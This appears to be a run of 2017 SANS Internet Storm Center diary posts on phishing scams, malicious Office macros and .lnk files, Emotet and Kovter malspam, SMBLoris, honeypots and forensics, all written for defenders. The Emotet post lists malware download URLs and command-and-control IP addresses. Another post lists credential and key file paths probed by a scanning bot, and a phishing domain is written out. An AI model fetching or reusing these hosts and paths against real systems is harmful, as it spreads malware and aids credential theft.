Over the past few days I have been getting a few phone text scams that kind of look realistic except for certain flaws that are fairly easy to pick out, however this is where it is important to read the whole URL. First, if you don't have a banking account with the bank that appears to be texting you, you would just ignore and delete it. Most bank won't text or email you regarding issues with your account. However, if you do online banking with this bank you might be tempted to check it out.

The example that I picked is a text with this URL www.13bm0-olbanking-rec0nfirm-l0gin-secured.ml [1]. When you examine closely the details in the URL, it contains several errors; where it should be an "o" in bmo is has been replaced by a zero "0", the same with reconfirm and login and the country code is incorrect, it should be a dot com. Analysis of the site by urlscan shows the site is located in Amsterdam not in Canada but the picture of the scam [2] site looks very realistic compared to the real site [3].

 

Most banks have a mechanism to report such scams, BMO has a help page to either call or send them an email about this kind of scams [4] so other don’t get caught. If you are uncertain about your bank fraud policy, they usually have an online page about what to do.

 

[1] https://urlscan.io/result/78cc141d-5cb9-49c1-bd94-b44121042b2c/#summary
[2] https://urlscan.io/screenshots/78cc141d-5cb9-49c1-bd94-b44121042b2c.png
[3] https://www1.bmo.com/onlinebanking/cgi-bin/netbnx/NBmain?product=5
[4] https://www.bmo.com/home/popups/about/report-fraud

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

While studying the infamous EternalBlue exploit about 2 months ago, researchers Sean Dillon (zerosum0x0) and Zach Harding (Aleph-Naught-) found a new flaw in the Server Message Block (SMB) protocol that could allow an adversary to interrupt the service by depleting the memory and CPU resources of the targeted machine on a Denial of Service (DoS) attack.

Tweet used to announce the flaw [2]

According to an article posted by ThreatPost [1], the flaw called SMBLoris was privately reported to Microsoft in early June, but the company considered it to be of moderate impact and that it would not be considered a security breach. In addition, it would probably not even be fixed.

As announced, some bug details were presented yesterday during a presentation at DEFCON 25 in Las Vegas. The attack is similar to another called SlowLoris [4] (hence also the similarity of the name) by allowing an attacker with a single machine and low bandwidth to be able to interrupt a service through a DoS attack. The difference is that SlowLoris affected Web servers.

Technically speaking, the problem occurs with the accumulation of a 4-bytes buffer called NBSS used during SMB session establishment which are allocated in the physical RAM and can not be swapped out. Triggering this, an attacker who initiates a large amount of connections to the service will be able to deplete the memory resources and after the CPU on the target.

NBSS buffer details

In the demonstration, an 8 GB memory server became unresponsive in a few seconds - note in the following figure the rapid increase in memory consumption during the attack.

SMBLoris attack demonstration

There is no update from Microsoft to fix the problem - so it has been considered a zero-day. For now, as a mitigation measure, the recommendation is to use a packet filter, like a Firewall, to limit the number of connections from a same source to the Windows servers on port 445 (SMB). 

References

[1] https://threatpost.com/windows-smb-zero-day-to-be-disclosed-during-def-con/126927/?utm_source=kasperskysocialchannel.com&utm_medium=REAL%20Solutions%20Technologies,%20LLC&utm_campaign=kasperskysocialchannel.com
[2] https://twitter.com/zerosum0x0/status/870862422327689216
[3] https://www.defcon.org/html/defcon-25/dc-25-speakers.html#Dillon
[4] https://web.archive.org/web/20090822001255/http://ha.ckers.org/slowloris/

--
Renato Marinho
Morphus Labs | LinkedIn | Twitter

Reader Jason submitted a malicious document he received via email. Although it contains VBA code with string obfuscation that is not too complex, it has a very low VirusTotal detection score.

Let's start the analysis with oledump.py:

We have 2 streams with VBA code: A3 and A4

The for loop and the Chr$, Asc and Mid functions are clear indications that function sierra is a decoding function.

Let's look at stream A4:

And here we see a call to function sierra with 2 long strings which is executed when the document is closed. One string looks like encoded text, and the second string is a chain of digits. The decoding is actually simple. From each character in the first string, we substract the digit in the second string: f - 3 = c, n - 1 = m, g - 3 = d, ... That spells out as cmd...

It's clear that this is the payload command, here I decode it with a line of Python code:

The payload uses command "waitfor /t 3 hUZM" to wait for 3 seconds (hUZM is a signal that will never be received, /t 3 is a timeout after 3 seconds).

Then bitsadmin is used to download a file (cc.bin) and write it to disk as an .exe, which is then executed via start.

Finally, PowerShell is used to download a second file, but nothing is done with the download. It must be a tracker.

File cc.bin is indeed an executable:

And the second download is very small:

 

 

 

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Brad wrote a great analysis of an Emotet maldoc send to us by a reader.

In this diary, I would like to show how this maldoc can be staticaly analyzed with a couple of tools.

oledump.py confirms it is an Office document with VBA macros, as we expected (the M indicators tell us which streams contain macros):

Selecting stream 9 (oledump.py -s 9 -v) shows the code that will execute automatically (Document_Open sub):

As expected, it is obfuscated, but we can still recognize some strings that look like BASE64. If we would manually concatenate them in the right order and decode, we would recover the payload. Fortunately, for this sample, there is an easier way by using an open-source VBA emulator: vipermonkey.

The VBA emulator encounters some errors during the emulation, fortunately for us, while outputing the concatenated base64 payload:

We can pipe this into base64dump to decode the base64 code (since vipermonkey outputs the base64 string as error in stderr, I combine stderr and stdout with 2>&1 to pipe it into base64dump.py):

The decoded base64 payload starts with powershell, so we are on the right track. Let's dump the full decoded payload:

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Running honeypots is always interesting to get an overview of what’s happening on the Internet in terms of scanners or new threats. Honeypots are useful not only in the Wild but also on your internal networks. There are plenty of solutions to deploy honeypots with more or less nice features (depending on the chosen solution). They are plenty of honeypots[1] which can simulate specific services or even mimic a complete file system, computer or specific hardware.

That’s cool but often such honeypots require a lot of dependencies (Python/Perl modules) or must be compiled. Sometimes, you just need to collect basic data to understand who’s knocking on your door. I was looking for a quick & dirty solution that does not require the installation of many packages or extra-tools. What are my basic requirements:

• Run on any Linux distribution
• Accept connections on ANY port
• Collect basic protocol details
• Log everything (of course!)

The first step is to capture the traffic on any TCP ports. To achieve this, we can use iptables to redirect any incoming connection to a specific port:

# iptables -t nat -A PREROUTING -p tcp --dport 1:65534 -j REDIRECT --to-ports 10000

Note: I limited the range to port 65534 to allow binding my SSH daemon to port 65535 (if you need to access the honeypot remotely).

The next step is to accept and establish a connection on any port (at least the TCP handshake). netcat[2] is the perfect tool for this and is usually installed by default with many Linux distribution. Let’s bind it to our collection port 10000 (see above) and log all the junk received:

# netcat -l -k -p 10000 | tee -a /tmp/netcat.log

Finally, a full packet capture is always nice to have, let’s collect all the traffic hitting our honeypot except the SSH management port:

# tcpdump -i eth0 -w /tmp/tcpdump.pcap -C 1000 -W 10 -lenx -X -s 0 not port 65534

Finally, we can put all the commands in a single script tinypot.sh. I'm using the "screen" command (also available in most distributions) to detach the tools from the console and to keep an eye on them later.

#!/bin/bash
/sbin/iptables -t nat -A PREROUTING -p tcp --dport 1:65534 -j REDIRECT --to-ports 10000
/usr/bin/screen -S netcat -d -m /bin/netcat -l -k -p 10000 | tee -a /tmp/netcat.log
/usr/bin/screen -S tcpdump -d -m /sbin/tcpdump -i eth0 -w /tmp/tcpdump.pcap -C 1000 -W 10 -lenx -X -s 0 not port 65534
echo TinyPot running, use "screen -r [netcat|tcpdump] to access tools"

Here is an example of data dumped by netcat:

We can see classic stuff like bots scanning for open proxies, SMB shares or searching for admin interfaces. What's next? Wireshark can be used to export statistics (menu "Statistics -> Conversations"). The generated CVS file once indexed in Splunk gives us the classic top-20:

Nothing fancy here and  I'm sure that it can be improved but TinyPot just does the work!

[1] https://github.com/paralax/awesome-honeypots
[2] https://nmap.org/ncat/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

2017-07-26 update:  After publishing this diary, we were contacted by several people who provided samples of the emails.  Screenshots of these emails have been added after my signature block.  Thanks to everyone who responded!

Introduction

On Tuesday 2017-07-25, we were contacted by a reader through our contact page.  He sent us a Microsoft Word document, and he included the following message:

Received a typical phishing email pointing to the site: anduron.com/XXGX911533.

This links downloads a doc with an open document macro.  Interestingly, the macro was not encrypted.  Understanding the payload however is outside my skill set...

I examined the Word document and found it's a downloader for Emotet malware.  We never obtained a copy of the associated email.  Emotet is generally known as a banking Trojan, although it's also been described as a downloader with worm-like propagation.  Emotet is commonly distributed through malicious spam (malspam).

This diary reviews my investigation of the anduron.com URL and associated Word document we received from the reader on Tuesday 2017-07-25.

Shown above:  Chain of events for malspam pushing Emotet.

The Word document

The Word document is a typical macro-based downloader.  You enable Word macros after opening the document, and the macro code attempts to download and run malware.  Without enabling macros, you can view the malicious macro code from this Word document as shown below.

Shown above:  The malicious Word document asks if you want to enable macros.

Shown above:  Menu path to view the macro code.

Shown above:  The macro name is Document_Open.  Click "Edit" to view it.

Shown above:  The highly-obfuscated macro code is shown in Microsoft's Visual Basic editor.

Enabling macros caused the code to download a Windows executable (an Emotet binary) to the user's AppData\Local\Temp directory with a file name of 5 random digits and an .exe file extension.  This file executed and promptly deleted itself from the AppData\Local\Temp directory.  Before that, the malware copied itself to the user's AppData\Local\Microsoft\Windows directory as shedulecart.exe, and it updated the Windows registry to make itself persistent after a reboot.

Shown above:  Downloaded Windows executable (the Emotet binary).

Shown above:  Emotet binary made persistent on an infected Windows host.

Infection traffic

At this point, I didn't know what the malware was, so I reviewed the network traffic.  The URL to download the malicious document was still active, so I retrieved the Word document from anduron.com and infected a Windows host.  I wasn't familiar with the traffic, but I had monitored the infection with a Security Onion host running Suricata and the EmergingThreats Pro ruleset.  Using Sguil to review the events, I saw some hits on Emotet.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Alerts on the infection traffic in Security Onion with 8 Emotet events.

Shown above:  Escalate the Emotet events, and you'll see all the destination IPs. 

Indicators of Compromise (IOCs)

Payload Security's reverse.it sandbox analysis (same as hybrid-analysis.com) of the Word document shows 5 other URLs from the macro that download the same Emotet malware binary.  Payload Security's analysis also shows a list of 35 different URLs, presumably links from the malspam that download the same malicious Word document.

Shown above:  Other URLs to download Emotet noted from analysis of the Word macro.

Shown above:  Some additional URLs leading to the Word document.

The following are IOCs associated with malspam pushing Emotet malware on 2017-07-25:

Word document from links in the emails:

• SHA256 hash:  6cad070bd1a37291b207895bbb51b975fa07b4ad2f05fb9a1ee15fb7441d600e
• File size:  120,320 bytes
• Links:  VirusTotal , reverse.it , malwr.com

Emotet binary downloaded by the Word macro:

• SHA256 hash:  48f3c89ea2f1e3190ae00f7ac7243ddb752364c076b40afc049424c6a0f75443
• File size:  176,128 bytes
• Links:  VirusTotal , reverse.it , malwr.com

Links from the malspam to download the word document:

• anduron.com - GET /XXGX911533/
• approxim.com - GET /RHKA318298/
• beckiyore.com - GET /ECPT315356/
• bluedevils.be - GET /joomla/language/MZQO136516/
• boscoandzoe.com - GET /ICHY890603/
• bravasav.net - GET /ENOD612941/
• cohenbenefits.com - GET /office/custom/SIPQ546465/
• cpkapability.com - GET /UKSV614228/
• danielmerchen.com - GET /TZEX247131/
• denbar.com.au - GET /UOOP149434/
• driften.org - GET /MCGF919307/
• euphorianet.com - GET /YQCB092598/
• event-weekend.ch - GET /ICOT371647/
• falconbilgisayar.com - GET /RIOC718921/
• flexlogic.nl - GET /QBUP530634
• ftpgmbh.ch - GET /VYXG951483 
• getoutofthecube.com - GET /JZST874751/
• goldencoyote.com - GET /ALLS580885/
• hcsnet.com.br - GET /FDED220303/
• hobbycoinexchange.com - GET /ssfm/ESIF185658/
• homexxl.de - GET /images/articles/EYQD907375/
• huiwei19.com - GET /YJPW400437/
• intedyn.com - GET /PZFY613518/
• interwatts.com - GET /jcgestio/report/XIND162748/
• kovalantie.fi - GET /XOON622261/
• lincolngroup.biz - GET /BCCC068652/
• livablecity.org - GET /DFKR972152/
• mariamartinezportfolio.com - GET /XLJF149270/
• merz.com.ar - GET /POXE116744/
• molodin.org - GET /YFUF766014 
• phvfd221.org - GET /CVQP360485/
• procebe.com - GET /MPKL050560/
• prodevinc.com - GET /RPJI648495/
• rehaunion.de - GET /GDOG943694/
• rekonaudio.com - GET /TGVY210050/

Macros from the Word document downloading the Emotet binary:

• ais-fo.fr - GET /kukajweln/
• blushphotoandfilm.com - GET /ckgawd/
• bugbbq.com - GET /awhwgra/
• dzynr.com - GET /ev/
• netoip.com - GET /rwibpm/

HTTP post-infection traffic:

• 74.208.17.10 port 8080 - 74.208.17.10:8080 - POST /
• 158.69.199.223 port 8080 - 158.69.199.223:8080 - POST /
• 178.62.175.211 port 443 - 178.62.175.211:443 - POST /

Post-infection attempted TCP connections, but no response (or RST) from the server:

• 93.180.157.92 port 443
• 164.132.50.32 port 8080
• 173.212.192.45 port 8080
• 178.79.132.214 port 443
• 192.81.212.79 port 443

Final words

As mentioned earlier, we didn't obtain a copy of the email with a link to the Word document.  Last month, a similar report on Emotet was published on malwarebreakdown.com, but it was also without an example of the associated emails.  If anyone has an example of these emails, feel free to share a copy through our contact page.

If your organization follows best security practices, your risk of infection is minimal.  However, we continue to see reports on this type of malspam on a near-daily basis.  That implies the criminals behind it are at least somewhat successful.

Pcap and malware samples for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

2017-07-26 update:  Anther reader contacted us with additional info on yesterday's Emotet malspam.  From the reader:

We saw this campaign as well yesterday.  The senders were all random, but they seem to rely on the "from" field to lend increased credibility.  There were two emotet campaigns with the one before this using other employee names that work in the same department as the recipient.  This campaign used a very convincing "bill" from AT&T, with the exception of the odd characters for AT&T in the body everything else seemed pretty convincing.

Subjects:

AT&T Bill Message
AT&T Monthly Statement
AT&T Customer
AT&T Statement
AT&T Automatic Billing Message
AT&T Customer Support Notification

Shown above:  Screenshot from one of the emails pushing Emotet malware.

2017-07-26 additional update:  Thanks to everyone who emailed contacted us with examples of malspam they found pushing Emotet.  See additional screenshots below:

The business goal of Critical Security Control #9: Limitation and Control of Network Ports is “To limit potential vulnerabilities on systems by limiting unauthorized ports, protocols, & services on systems”. Sounds totally reasonable and something everyone should systematically monitor in their respective environments. How can this be accomplished, especially if this has not been an area of focus?

 

One strategy is capturing data about the network traffic in order to develop and maintain a rolling trend over time. A specific area to focus on is the Top Ports that were targeted on a daily basis. This data will readily highlight trends that can be investigated and help detect changes in traffic that may or many not be “normal". This daily baseline, when added to the last 30 days worth of the same data can easily be to highlight and compare traffic patterns. What could this look like for your network? As a practical example, below is a visualization of data that has been sent to the Internet Storm Center. 

 

 

What have you found effective in your quest to actively monitor the Trends over Time in your environment? Please leave what works for you in our comments section below.

 

Russell Eubanks

ISC Handler

SANS Instructor

@russelleubanks

This week I was told about a scam that surprised me due to the criminals’ creativity. A New York City Uber driver had his Uber account and day’s income was stolen by someone who was supposed to be his next passenger. 
 
While driving towards the passenger’s address, the Uber driver received a phone call from someone pretending to be from Uber. He told the driver that he knew he was on his way to get a passenger but it was necessary for the driver to stop and update his account data. Additionally, the driver should not worry about that run. Uber would compensate him and send another driver to pick up that passenger.

As the phone call came through the Uber app, the driver believed it to really came from Uber. The person on the other end of the call continued: “Please, I have to confirm your identity. Give me your e-mail address and phone number. Next, I’ll send you an SMS message and you’ll tell me the content.”. As expected, the Uber driver received the message and passed on the content.

It turns out that the message was sent by Google as part of the Uber driver's Gmail password recovery procedure. “Ok Sir, thank you for validating your identity. I’ve just updated your registration. Have a nice day.”—said the crook.

Now the criminals proceeded to reset that driver’s Gmail account and Uber password. The reason for that? Uber drivers that reach a certain earnings threshold for a day may ask Uber to transfer that day’s incomings to a pre-paid card number. That was exactly what the fake passenger did.

The crook’s social engineering approach is very cunning in the way that he/she created the privileged information used to entice the victim’s trust. In the end, that is just another way to exploit password recovery or two-factor authentication through SMS messages. Stay tuned.

--
Renato Marinho
Morphus Labs | LinkedIn | Twitter

In diary entry "Office maldoc + .lnk" we analyzed a Windows shortcut file (.lnk) and looked for metadata, but it didn't contain much.

Here is another malicious .lnk file that we analyze with lnkanalyser:

This time we have more metadata, under TrackerDataBlock we can find the machine name (frank), a VolumeID and a MAC address.

The MAC address starts with 00:0C:29, that range is assigned to VMware. So we are dealing with a virtual machine.

The target (cmd.exe) has size 301568: this is cmd.exe on Windows 7.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Black Hat US 2017 is debuting and with it a potential concern to most of us. It turns out that one of the conference presentations, entitled BROADPWN: REMOTELY COMPROMISING ANDROID AND IOS VIA A BUG IN BROADCOM’S WI-FI CHIPSETS [1], will detail how Broadcom BCM43xx Wi-Fi chipsets can be exploited to achieve full code execution on the compromised device without user interaction.

“An attacker within range may be able to execute arbitrary code on the Wi-Fi chip”, says Apple about this vulnerability (CVE-2017–9417) in its latest security bulletin [2]. Google published the patch to fix the vulnerability on Android early this month [3].

Besides Apple, those chipsets are present on most smartphone devices like HTC, LG, Nexus and most Samsumg models as well. Make sure to have this vulnerability fixed in all your devices?—?especially if you are planning to be in Las Vegas next week.

References
[1] https://www.blackhat.com/us-17/briefings.html#broadpwn-remotely-compromising-android-and-ios-via-a-bug-in-broadcoms-wi-fi-chipsets
[2] https://support.apple.com/pt-br/HT207923
[3] https://source.android.com/security/bulletin/2017-07-01

--
Renato Marinho
Morphus Labs | LinkedIn | Twitter

We've been informed of recent malware campaigns that deliver .iso attachments (.iso files are CD/DVD images). These .iso files contain a malicious executable.

Since Windows 8, Windows will automatically mount .iso files when they are opened. Like this, these .iso files are like .zip files with malware.

Here is an example of an email with .iso attachment:

This email file can be analyzed with emldump:

Part 5 contains the attached .iso file (Quotation-0568.iso), and can be extracted like this:

There are several methods to analyze .iso files, even with Python. Here we will use 7-Zip:

The executable can be extracted like this:

It is indeed a PE file:

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

If you don’t know our "404" project[1], I would definitively recommend having a look at it! The idea is to track HTTP 404 errors returned by your web servers. I like to compare the value of 404 errors found in web sites log files to “dropped” events in firewall logs. They can have a huge value to detect ongoing attacks or attackers performing some reconnaissance. Reviewing 404 errors is one task from my daily hunting-todo-list but it may quickly become unmanageable if you have a lot of websites or popular ones. The idea is to focus on "rare" events that could usually pass below the radar. Here is a Splunk query that I'm using in a daily report:

index=web sourcetype=access_combined status=404
| rex field=uri "(?<new_uri>^\/{1}[a-zA-Z0-9_\-\~]+\.\w+$)"
| cluster showcount=true t=0.6 field=new_uri
| table _time, cluster_count, cluster_label, new_uri | sort cluster_count

What does it do?

• It searches for 404 errors in all the indexed Apache logs (access_combined)
• It extracts interesting URI's. I’m only interested in files from the root directory eg. “GET /<name><dot><extension>”
• It creates “clusters” of common events to help in detecting rare ones.

Here is an example of output (top-20):

"_time","cluster_count","cluster_label","new_uri"
"2017-07-18T13:42:15.000+0200",1,9,"/xml.log"
"2017-07-18T13:18:51.000+0200",1,11,"/rules.abe"
"2017-07-18T11:51:57.000+0200",1,17,"/tmp2017.do"
"2017-07-18T11:51:56.000+0200",1,18,"/tmp2017.action"
"2017-07-18T09:16:52.000+0200",1,23,"/db_z.php"
"2017-07-18T07:28:29.000+0200",1,25,"/readme.txt"
"2017-07-18T03:44:07.000+0200",1,27,"/sloth_webmaster.php"
"2017-07-18T02:52:33.000+0200",1,28,"/sitemap.xml"
"2017-07-18T00:10:57.000+0200",1,29,"/license.php"
"2017-07-18T00:00:32.000+0200",1,30,"/How_I_Met_Your_Pointer.pdf"
"2017-07-17T22:57:41.000+0200",1,31,"/browserconfig.xml"
"2017-07-17T20:02:01.000+0200",1,76,"/rootshellbe.zip"
"2017-07-17T20:01:00.000+0200",1,82,"/htdocs.zip"
"2017-07-17T20:00:54.000+0200",1,83,"/a.zip"
"2017-07-17T20:00:51.000+0200",1,84,"/wwwroot1.zip"
"2017-07-17T20:00:50.000+0200",1,85,"/wwwroot1.rar"
"2017-07-17T19:59:34.000+0200",1,98,"/rootshell.zip"
"2017-07-17T19:59:27.000+0200",1,103,"/blogrootshellbe.rar"
"2017-07-17T19:59:18.000+0200",1,104,"/rootshellbe.rar"

Many tested files are basically backup files like I already mentioned in a previous diary[2], nothing changed. But yesterday, I found a bot searching for even more interesting files: configuration files from popular tools and website private keys. Indeed, file transfer tools are used by many webmasters to deploy files on web servers and they could theoretically leave juicy data amongst the HTML files. Here is a short list of what I detected:

/filezilla.xml
/ws_ftp.ini
/winscp.ini
/backup.sql
/<sitename>.key
/key.pem
/myserver.key
/privatekey.key
/server.key
/journal.mdb
/ftp.txt
/rules.abe

Each file was searched with a different combination of lower/upper case characters. Note the presence of ‘rules.abe’ that is used by webmasters to specify specific rules for some web applications[3]. This file could contain references to hidden applications (This is interesting to know for an attacker).

So, keep an eye on your 404 errors and happy hunting!

[1] https://isc.sans.edu/404project/
[2] https://isc.sans.edu/forums/diary/Backup+Files+Are+Good+but+Can+Be+Evil/21935
[3] https://noscript.net/abe/web-authors.html

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

[This is fourth guest diary by Dr. Ali Dehghantanha. Previous diaries in the series are:

• Investigation of BitTorrent Sync (v.2.0) as a P2P Cloud (Part 1)
• Investigation of BitTorrent Sync (v.2.0) as a P2P Cloud Service (Part 2 ? Log Files artefacts)
• Investigation of BitTorrent Sync (v.2.0) as a P2P Cloud Service (Part 3 ? Physical Memory artefacts)

If you would like to propose a guest diary, please let us know]

Continuing earlier posts on investigation of BitTorrent Sync version 2.0, this post explains remaining artefacts of user activities from Thumbnail Cache, Registry, Prefetch Files, and Link Files.

Thumbnail cache

Analysis of the Windows thumbcache (stored under %AppData%\Local\Microsoft\Windows\Explorer) recovered copies of thumbnail images for the BitTorrent Sync client application and its download site (e.g., BitTorrent Sync logo and image icons), indicative of BitTorrent Sync usage. Examinations of the thumbnail cache from the file synchronisation only revealed copies of thumbnail images for the synced files from the Windows 8.1 and Mac OS VMs. We could discern the thumbnail cache from the ‘folder’ table field (of the ‘files’ table) which made reference to ‘BitTorrent Sync’ in the /private/var/folders[Random subfolder]/[Random subfolder]/C/com.apple.QuickLook.thumbcache/index.sqlite database on Mac OSX. The timestamp references recorded alongside the thumbnail cache would assist a practitioner to identify the last accessed or deletion (only on a Mac OSX; see Figure 1) date of a sync file or folder. 

Figure 1: Thumbnail information recovered from the index.sqlite database of Mac OS’ thumbcache folder.

Windows Registry

Analysis of the HKLM hive determined that the BitTorrent Sync installation could be detected from the presence of the HKLM\SOFTWARE\BitTorrent\Sync key, and the installation path could be discerned from the ‘SyncPath’ subkey. In addition, the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BitTorrent Sync key could provide supporting information for installation such as the display icon’s path, display name, BitTorrent Sync version installed, installation and uninstaller paths, and other entries of relevance. Similar to any other Windows application, when the BitTorrent Sync client application is started, there are full path reference for the BitTorrent Sync executable file in HKU\<SID>\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache, indicative of recent BitTorrent Sync usage. Further evidence to indicate the client application usage could be ascertained from the occurrence of ‘BitTorrent Sync: ""%Program Files%\BitTorrent Sync\BitTorrent Sync.exe",  “/MINIMIZED"’ entry alongside the last executed time in Software\Microsoft\Windows\CurrentVersion\Run. Another registry key of forensic interest is the Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32, which keeps track of a list of filename references (e.g., filenames for the executable and synced files) associated with the BitTorrent Sync client application as well as the timestamp information during the last usage. According to Carvey (2014), the ‘CIDSizeMRU’ (MRU is the abbreviation for Most-Recently-Used) subkey maintains a list of recently used applications, the ‘OpenSaveMRU’ registry subkey records list of files that have been opened or saved within a Windows shell dialog box, and the ‘LastVisitedMRU’ subkey is responsible for tracking specific executable files used by an application to open the files documented in the ‘OpenSaveMRU’ subkey. Other evidence indicating the BitTorrent Sync client application usage includes the presence of entries referencing the link file as well as the last executed time in Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist.

Prefetch files

Examination of the prefetch files located two prefetch files for BitTorrent Sync, namely ‘BITTORRENT_SYNC.EXE.pf’ and ‘BITTORRENT SYNC.exe.pf’. Amongst the information of forensic interest recoverable from these files include the executable path, the number of times the application has been loaded, as well as the last run time which are useful to supplement timeline analysis. However, no prefetch instance was located for the synced files in our experiments. The presence of the prefetch files after uninstallation implies that there will be BitTorrent Sync references remaining in the prefetch files to indicate its use on the client device.

Link files

Link (.lnk) files are shortcut metadata files used by Windows to maintain a list of linked paths relating to a file (commonly the paths where the original files are located), associated timestamps (created, written, and last accessed times), and file sizes (original and modified) which are useful to identify the origin of a file. An inspection of the directory listings located instances of link file for %Program Files (x86)%\BitTorrent Sync\BitTorrent Sync.exe at %Users%\Public\Desktop\BitTorrent Sync.lnk and %Program Data%\Microsoft\Windows\Start Menu\BitTorrent Sync.lnk, and its presence may be indicative of BitTorrent Sync installation.

--
Bojan
@bojanz

Introduction

Today I faced quite an unusual SMS phishing campaign here in Brazil. A friend of mine received a SMS message supposedly sent from his bank asking him to update his registration data through the given URL. Otherwise, he could have his account blocked, as seen in Figure 1.

 

Figure 1 – SMS message received

Telling you the truth, my friend doesn’t have any account on the informed bank and, even so, we know that those kinds of message are hardly ever sent by banks and are, most of the time, related to malware propagation and information stealing. However, instead of discarding the message, we decided to give it a try and the results, as you are going to read in this diary, surprised us. This campaign involves no malware propagation - just creativity in favor of evil.

SMS Phishing analysis

The link in the message aims to take the victim to a fake and very simplistic mobile version of a well-known bank website. First, it asks for the “CPF” (a kind of social security card number) and a password, as seen in Figure 2.

 

Figure 2 – Fake bank website asking for CPF and password

It is interesting noting that there is a data input validation. The user must obey to the CPF number composition rules otherwise he can’t proceed. This validation is done by the JavaScript code shown in Figure 3.

Figure 3 – CPF validation rules

 

This kind of validation is certainly used to give a bit of legitimacy to the fake website and, perhaps, to do not overload crooks with much “data-mining” work.

In the next page, the fake website informs that the device used on that connection needs to be authorized, as seen in Figure 4.

 

Figure 4 – Fake website: user must authorize the device

By clinking on “Habilitar Aparelho” which means “enable device”, a new page is shown asking for the victim to inform the 4-digit password, as seen in Figure 5.

 

Figure 5 – Fake website asking for the 4-digit password

Again, there is a minimum validation to avoid the user trying very simple passwords like “1234” as seen in Figure 6.

Figure 6 – 4-digit password “validation” code

Next, the step that caught our attention. The fake website asks the victim to take a picture of its token card and upload it. To be precisely, asks to take a picture of the side with all security codes used to validate banking transactions as a second-factor authenticator, as seen in Figure 7.

Figure 7 – Asking for the token card picture

 

By clicking on “Finalizar Habilitação” which means “proceed with the device authorization”, the victim’s smartphone will prompt the user to select a picture from its library or take a new one – which is exactly what the user is induced to do, as seen in Figure 8.

Figure 8 – Taking the token card picture

 

Once the victim ends up the whole process, including the token card picture, the criminals will have all the information needed to make fraudulent transactions on the compromised bank account and the user is forwarded to the real bank login page.

Final words

Using victim’s smartphone to take pictures to steal information or, who knows, things, scares me a little bit. I can explain. Earlier this month, reading Bruce Schneier’s blog I saw a post entitled “Now It's Easier than Ever to Steal Someone's Keys” [1] which says, “The website key.me will make a duplicate key from a digital photo.”.

While writing this diary, I was reported about similar SMS Phishing campaigns targeting other banks costumers here in Brazil. Stay tuned.  

References

[1] https://www.schneier.com/blog/archives/2017/07/now_its_easier_.html

--
Renato Marinho
Morphus Labs | LinkedIn | Twitter

Reader nik submitted a malicious document. It's an Excel spreadsheet containing a Windows shortcut. As Windows shortcuts can contain interesting metadata like the MAC address of the computer that created the .lnk file, I took a closer look.

First we take a look with oledump:

The 0 next to stream A2 indicates the spreadsheet contains an embedded OLE2 object.

We can get more info:

It's a Windows shortcut file (created by Windows user Tiny).

We will extract it for further analysis:

And then we can use Woanware's lnkanalyser:

Unfortunately, the .lnk file does not contain interesting metadata. But we can see that it uses PowerShell to download an executable from Dropbox.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Introduction

During the past two weeks or so, I've noticed a significant increase in malicious spam (malspam) with attached zip archives disguised as delivery notices from the United Parcel Service (UPS).  These zip archives contain JavaScript files designed to download and install NemucodAES ransomware and Kovter malware on a victim's Windows computer.  My Online Security reported on this recent wave of malspam late last month, and it's been fairly constant since then.

Shown above:  Example of an email from Thursday 2017-07-13.

Malspam with zip archives containing JavaScript files are easy for most organizations to detect.  Yesterday, I visited one such organization, where someone showed me several of these messages blocked by mail filters and identified as malware.  But most people have more pressing concerns.  Investigating blocked emails is pretty low on their list of priorities.

However, this is an ongoing concern, and the Nemucod ransomware currently pushed by this malspam is a new variant called NemucodAES.  According to BleepingComputer, different researchers have identified and tracked this new variant. A decryptor for NemucodAES is currently available from Emisoft.

Kovter is an older malware, but it's also an ongoing concern.  Together, these two pieces of malware could deliver a nasty punch.  This diary reviews some emails and traffic from recent malspam pushing Kovter and NemucodAES.

History of Nemucod

Nemucod is a term for text-based script (usually a JavaScript file) that downloads and installs malware.  By the last quarter of 2015, the term Nemucod was used by several security vendors to identify JavaScript-based Trojan downloaders.  In several cases, Nemucod downloaded and installed ransomware binaries like TeslaCrypt.  By March 2016, we started seeing reports of "Nemucod ransomware" that stopped downloading ransomware binaries in favor of using its own script-based ransomware component.

And now in July 2017, we see the next phase of Nemucod ransomware: NemucodAES.  Emisoft states this new variant is written in JavaScript and PHP.  It uses AES and RSA to encrypt a victim's files.

History of Kovter

In 2013, Kovter acted as police ransomware that waited on a user's Windows host waiting for specific types of events to happen.  An example?  After getting infected with Kovter, if a victim started a file-sharing application, Kovter would generate a popup message stating he or she violated the law.  Then the infected host would demand the victim pay a fine.

By 2014, we started seeing Kovter identified as click-fraud malware.  Click-fraud is when a person, computer program, or automated script generates network traffic by contacting numerous websites (or the same website numerous times).  This simulates people clicking a web page or online advertisement.  Advertisers are paid based on how many people click on their ads.  Regular websites can charge more for ads based on how many people view the site.  Click-fraud malware generates fake network traffic so people can charge more for web-based ads or content.

Shown above:  Example of click-fraud traffic caused by non-Kovter malware in May 2016, filtered in Wireshark.

By 2015, Kovter started hiding in the Windows registry to avoid detection.  Kovter's persistence in an infected Windows host consists of various elements.  The end result?  The initial executable deletes itself after infecting the Windows host, and Kovter effectively becomes a "fileless" infection.

Kovter hasn't changed much since I started documenting it in 2016.  Post-infection traffic is remarkably similar from a sample I collected in January 2016 to the one from July 2017 discussed in this diary.  I see a lot of post-infection events for Kovter command and control traffic.  But I'm not certain click-fraud is involved any more.

Shown above:  Kovter post-infection traffic from January 2016 filtered in Wireshark.

Shown above:  Kovter post-infection traffic from July 2017 filtered in Wireshark.

Kovter/NemucodAES malspam from July 2017

